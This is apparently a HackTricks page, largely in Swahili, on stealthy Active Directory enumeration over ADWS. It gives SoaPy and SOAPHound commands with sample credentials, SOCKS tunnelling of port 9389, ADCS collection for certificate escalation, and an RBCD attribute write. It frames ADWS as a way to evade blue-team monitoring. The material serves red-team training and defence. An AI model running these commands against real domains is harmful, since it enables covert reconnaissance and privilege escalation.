Utambuzi wa Active Directory Web Services (ADWS) na Ukusanyaji wa Kificho
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
ADWS ni nini?
Active Directory Web Services (ADWS) is enabled by default on every Domain Controller since Windows Server 2008 R2 and listens on TCP 9389. Despite the name, no HTTP is involved. Instead, the service exposes LDAP-style data through a stack of proprietary .NET framing protocols:
- MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
Kwa sababu trafiki imefungwa ndani ya fremu hizi za binary SOAP na inasafiri kupitia bandari isiyo ya kawaida, utambuzi kupitia ADWS uwezekano mdogo wa kuchunguzwa, kuchujwa au kugunduliwa kwa kutumia saini ikilinganishwa na trafiki ya kawaida ya LDAP/389 & 636. Kwa wafanyakazi wa uendeshaji, hii ina maana:
- Utambuzi wa kwa siri zaidi – Blue teams mara nyingi zinalenga maswali ya LDAP.
- Uhuru wa kukusanya kutoka kwa vifaa visivyo vya Windows (Linux, macOS) kwa kupitia tuneli ya 9389/TCP kupitia proxy ya SOCKS.
- Data ile ile utakayopata kupitia LDAP (watumiaji, vikundi, ACLs, schema, n.k.) na uwezo wa kufanya kuandika (mfano
msDs-AllowedToActOnBehalfOfOtherIdentitykwa RBCD).
Mihusiano ya ADWS inaendeshwa juu ya WS-Enumeration: kila query huanza na ujumbe wa Enumerate unaobainisha kichujio/attributes za LDAP na hurudisha EnumerationContext GUID, ikifuatiwa na ujumbe mmoja au zaidi wa Pull ambao hutoa mtiririko hadi dirisha la matokeo lililowekwa na server. Contexts huisha baada ya ~30 dakika, kwa hiyo zana zinahitaji kurudisha matokeo kwa ukurasa au kugawanya filters (maswali ya prefix kwa kila CN) ili kuepuka kupoteza state. Unapoomba security descriptors, bainisha udhibiti LDAP_SERVER_SD_FLAGS_OID ili kuondoa SACLs, vinginevyo ADWS itatoa tu sifa nTSecurityDescriptor kutoka kwenye jibu lake la SOAP.
KUMBUKU: ADWS pia inatumiwa na zana nyingi za RSAT GUI/PowerShell, hivyo trafiki inaweza kuchanganyika na shughuli halali za admin.
SoaPy – Mteja Asilia wa Python
SoaPy ni full re-implementation of the ADWS protocol stack in pure Python. It crafts the NBFX/NBFSE/NNS/NMF frames byte-for-byte, allowing collection from Unix-like systems without touching the .NET runtime.
Vipengele Muhimu
- Inasaidia proxying through SOCKS (inayofaa kwa implants za C2).
- Vichujio vya utafutaji vya kina vinavyolingana na LDAP
-q '(objectClass=user)'. - Uwezo wa hiari wa operesheni za kuandika (
--set/--delete). - BOFHound output mode kwa uingizaji moja kwa moja ndani ya BloodHound.
--parseflag kuboresha muonekano wa timestamps /userAccountControlwakati inahitajika kusomeka na binadamu.
Bendera za ukusanyaji zinazolenga & operesheni za kuandika
SoaPy inakuja na switches zilizochaguliwa zinazorudia kazi za kawaida za uwindaji za LDAP juu ya ADWS: --users, --computers, --groups, --spns, --asreproastable, --admins, --constrained, --unconstrained, --rbcds, pamoja na raw --query / --filter kwa pulls maalum. Waambatanishe na primitives za kuandika kama --rbcd <source> (huweka msDs-AllowedToActOnBehalfOfOtherIdentity), --spn <service/cn> (SPN staging kwa Kerberoasting iliyolengwa) na --asrep (kubadilisha DONT_REQ_PREAUTH katika userAccountControl).
Mfano wa utafutaji wa SPN uliolengwa unaorejesha tu samAccountName na servicePrincipalName:
soapy corp.local/alice:'Winter2025!'@dc01.corp.local \
--spns -f samAccountName,servicePrincipalName --parse
Tumia mwenyeji na sifa za kuingia ile ile ili mara moja kugeuza matokeo kuwa silaha: dump RBCD-capable objects kwa kutumia --rbcds, kisha tumia --rbcd 'WEBSRV01$' --account 'FILE01$' ili kuandaa mnyororo wa Resource-Based Constrained Delegation (angalia Resource-Based Constrained Delegation kwa njia kamili ya matumizi mabaya).
Ufungaji (mwenyeji wa operator)
python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt
SOAPHound – Ukusanyaji wa ADWS wa Kiasi Kikubwa (Windows)
FalconForce SOAPHound ni mkusanyaji wa .NET unaoweka mwingiliano wote wa LDAP ndani ya ADWS na hutengeneza JSON inayolingana na BloodHound v4. Inajenga cache kamili ya objectSid, objectGUID, distinguishedName na objectClass mara moja (--buildcache), kisha inaitumia tena kwa kipindi cha --bhdump, --certdump (ADCS), au --dnsdump (AD-integrated DNS) cha kiasi kikubwa ili takriban sifa muhimu ~35 tu zisitoke kutoka DC. AutoSplit (--autosplit --threshold <N>) huigawanya maswali kwa prefiksi ya CN kiotomatiki ili kubaki chini ya muda wa mwisho wa dakika 30 wa EnumerationContext katika misitu mikubwa.
Mtiririko wa kawaida wa kazi kwenye operator VM iliyounganishwa na domain:
# Build cache (JSON map of every object SID/GUID)
SOAPHound.exe --buildcache -c C:\temp\corp-cache.json
# BloodHound collection in autosplit mode, skipping LAPS noise
SOAPHound.exe -c C:\temp\corp-cache.json --bhdump \
--autosplit --threshold 1200 --nolaps \
-o C:\temp\BH-output
# ADCS & DNS enrichment for ESC chains
SOAPHound.exe -c C:\temp\corp-cache.json --certdump -o C:\temp\BH-output
SOAPHound.exe --dnsdump -o C:\temp\dns-snapshot
JSON zilizotolewa zinaingizwa moja kwa moja kwenye SharpHound/BloodHound workflows—angalia BloodHound methodology kwa mawazo ya kuchora grafu kwa hatua zinazofuata. AutoSplit inafanya SOAPHound kuwa imara kwenye misitu yenye mamilioni ya object huku ikidumisha idadi ya queries kuwa chini kuliko snapshots za mtindo wa ADExplorer.
Stealth AD Collection Workflow
Mchakato ufuatao unaonyesha jinsi ya kuorodhesha domain & ADCS objects kupitia ADWS, kuzibadilisha kuwa BloodHound JSON na kuzipigania njia za mashambulizi zinazotegemea vyeti – yote kutoka Linux:
-
Tunnel 9389/TCP kutoka kwenye mtandao wa lengo hadi kwenye mashine yako (kwa mfano via Chisel, Meterpreter, SSH dynamic port-forward, n.k.). Weka
export HTTPS_PROXY=socks5://127.0.0.1:1080au tumia SoaPy’s--proxyHost/--proxyPort. -
Kusanya root domain object:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
- Kusanya vitu vinavyohusiana na ADCS kutoka Configuration NC:
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
- Geuza kuwa BloodHound:
bofhound -i data --zip # produces BloodHound.zip
- Pakia ZIP katika BloodHound GUI na endesha cypher queries kama
MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,cili kufichua certificate escalation paths (ESC1, ESC8, etc.).
Kuandika msDs-AllowedToActOnBehalfOfOtherIdentity (RBCD)
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
Changanya hili na s4u2proxy/Rubeus /getticket kwa mnyororo kamili wa Resource-Based Constrained Delegation (angalia Resource-Based Constrained Delegation).
Muhtasari wa Zana
| Madhumuni | Zana | Maelezo |
|---|---|---|
| Uorodheshaji wa ADWS | SoaPy | Python, SOCKS, kusoma/kuandika |
| Upakuaji wa ADWS kwa wingi | SOAPHound | .NET, cache-first, hali za BH/ADCS/DNS |
| Uingizaji kwa BloodHound | BOFHound | Hubadilisha logu za SoaPy/ldapsearch |
| Komproma ya vyeti | Certipy | Inaweza kupitishwa kupitia SOCKS hiyo hiyo |
Marejeo
- SpecterOps – Make Sure to Use SOAP(y) – An Operators Guide to Stealthy AD Collection Using ADWS
- SoaPy GitHub
- BOFHound GitHub
- Microsoft – MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF specifications
- IBM X-Force Red – Stealthy Enumeration of Active Directory Environments Through ADWS
- FalconForce – SOAPHound tool to collect Active Directory data via ADWS
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


